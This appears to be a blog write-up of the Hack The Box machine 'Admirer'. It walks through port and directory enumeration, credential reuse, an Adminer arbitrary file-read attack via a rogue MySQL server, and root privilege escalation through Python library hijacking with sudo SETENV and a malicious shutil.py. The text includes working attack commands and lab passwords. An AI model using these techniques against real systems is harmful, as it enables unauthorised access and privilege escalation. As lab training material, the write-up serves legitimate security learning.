Admirer HTB Writeup

User

From port scanning I get these ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Nmap scan report for admirer.htb (10.10.10.187)
Host is up (0.14s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP had no anonymous access allowed.
SSH won’t do much at this moment.

Let’s visit http. The homepage is showing different images. First time I do always is look at what web technologies are used with the help of wappalyzer script, and then check robots.txt. robots.txt is a file containing different rules about search engine crawlers. Often developers dissalow admin panels or other directories which they don’t want to get shown on search engines. At our case the robots.txt file has the following.

robotstxt

Disallow: /admin-dir

Enter this directory /admin-dir we have no permissions. Let’s try to run gobuster with txt,pdf,php file extension.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
kali@kali:~/Desktop/Boxes/Admieri/Nmap$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.187/admin-dir/ -x txt,php,pdf,php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.187/admin-dir/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,php,pdf
[+] Timeout: 10s
===============================================================
2020/05/16 16:10:42 Starting gobuster
===============================================================
/contacts.txt (Status: 200)

Visiting contacts.txt file we have some accounts names.

But nothing more on that and It took long time, so I try to run some other wordlists and end up finding another file credentials.txt from using big.txt provided from SecList.

credentials

This file has credentials on it. I will use the ftp username and password to download all the files inside ftp using mget *.

I end up with these two files.

1
2
3
4
5
6
kali@kali:~/Desktop/Boxes/Admieri/Nmap/files$ ls -la
total 5160
drwxr-xr-x 2 kali kali 4096 May 16 16:21 .
drwxr-xr-x 3 kali kali 4096 May 16 16:21 ..
-rw-r--r-- 1 kali kali 3405 May 16 16:21 dump.sql
-rw-r--r-- 1 kali kali 5270987 May 16 16:21 html.tar.gz

By untaring the file I get maybe all the files inside the webserver :D. There are some interesting directories and files too.

These were the things I found in these files:

  • index.php: ` $username = “waldo”;
    $password = “]F7jLHw:*G>UPrTo}~A”d6b”;

`

  • utility-scripts/db_admin.php: $servername = "localhost"; $username = "waldo"; $password = "Wh3r3_1s_w4ld0?"; also I juicy comment // TODO: Finish implementing this or find a better open source alternative

Tried to use every password and username found in contacts and credentials but nothing worked against ssh. Because of that comment on db_admin.php file I am going to gobuster again but this inside utility-scripts directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://10.10.10.187/utility-scripts/ -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.187/utility-scripts/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/05/16 18:03:29 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/adminer.php (Status: 200)

Found it adminer.php this is the alternative. Search about this one I found an exploit :D.

https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool

All I need to do is setup a sql server with a database and a table and then give it permissions to receive requests from the box ip and then login to my own sql server in order to load files on the box server. I wouldn;t give much detail on this one but you can look into this site: https://easyengine.io/tutorials/mysql/remote-access/. Make sure to create a table in order to use it as a way to store out extracted files.

You can go to SQL COMMAND and then enter this command
load data local infile '/etc/passwd' into table test fields terminated by "\n";

Test is the table name, and /etc/passwd is the path to the file we want to get. Trying to get that file gives an error. After trying I get the file index.php

index

But this time the file has different password. And this is the same used at the time we load the website because it connect to the mysql server.

$username = "waldo"; $password = "&<h5b~yK3F#{PaPB&dA}{H>"; $dbname = "admirerdb";

Trying that password with ssh and we are logged in :D.

Root

1
2
3
4
5
6
7
8
waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
waldo@admirer:~$

Nice, looking into the script contents I can’t abuse anything. But at the same directory is a file backup.py which is called from the admin_tasks.sh script we have permission to run as root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
waldo@admirer:/opt/scripts$ sudo -u root /opt/scripts/admin_tasks.sh

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
waldo@admirer:/opt/scripts$

backup.py script has this contents:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)
  • If we had write permissions on the same directory we would create a file named shutil.py and add malicious code inside but we don't have any permission.

But I found this one about library hijackin, after thinking about which directories do python check to load the libraries. This can be shown with this command.

1
2
3
waldo@admirer:/opt/scripts$ python3 -c "import sys; print(sys.path)"
['', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-x86_64-linux-gnu', '/usr/lib/python3.5/lib-dynload', '/usr/local/lib/python3.5/dist-packages', '/usr/lib/python3/dist-packages']
waldo@admirer:/opt/scripts$

This can be changed by this command. export PYTHONPATH=/tmp/evilpath/

1
2
3
4
waldo@admirer:/opt/scripts$ export PYTHONPATH=/tmp/evilpath/
waldo@admirer:/opt/scripts$ python3 -c "import sys; print(sys.path)"
['', '/tmp/evilpath/', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-x86_64-linux-gnu', '/usr/lib/python3.5/lib-dynload', '/usr/local/lib/python3.5/dist-packages', '/usr/lib/python3/dist-packages']
waldo@admirer:/opt/scripts$

So python will also check for the library shutil on that directory. So now what we do is create a file shutil.py inside that directory with these contents:

1
2
3
import os

os.system("cat /root/root.txt > /tmp/evilpath/roots.txt")

Now the last step is to execute sudo to run script /opt/scripts/admin_tasks.sh as root user.

But we did export only on the non root user, export is like a variable inside out shell. But if we run the script as root, the root user won’t have that 'variable'

Fortunately we can do this with the sudo command straightforward.

sudo "PYTHONPATH=$PYTHONPATH /opt/scripts/admin_tasks.sh we give it also to the root user which then executes our file at /tmp/evilpath/

This get the content of our PYTHONPATH we previously added and then give it to the same variable but for the root user. After that we have the root flag.

It is better to add a reverse shell instead, or add your own public key on the /root/.ssh/.


Admirer HTB Writeup
http://3rg1s.com/2020/09/27/2020-09-27-Admirer/
Author
fuxsocy
Posted on
September 27, 2020
Licensed under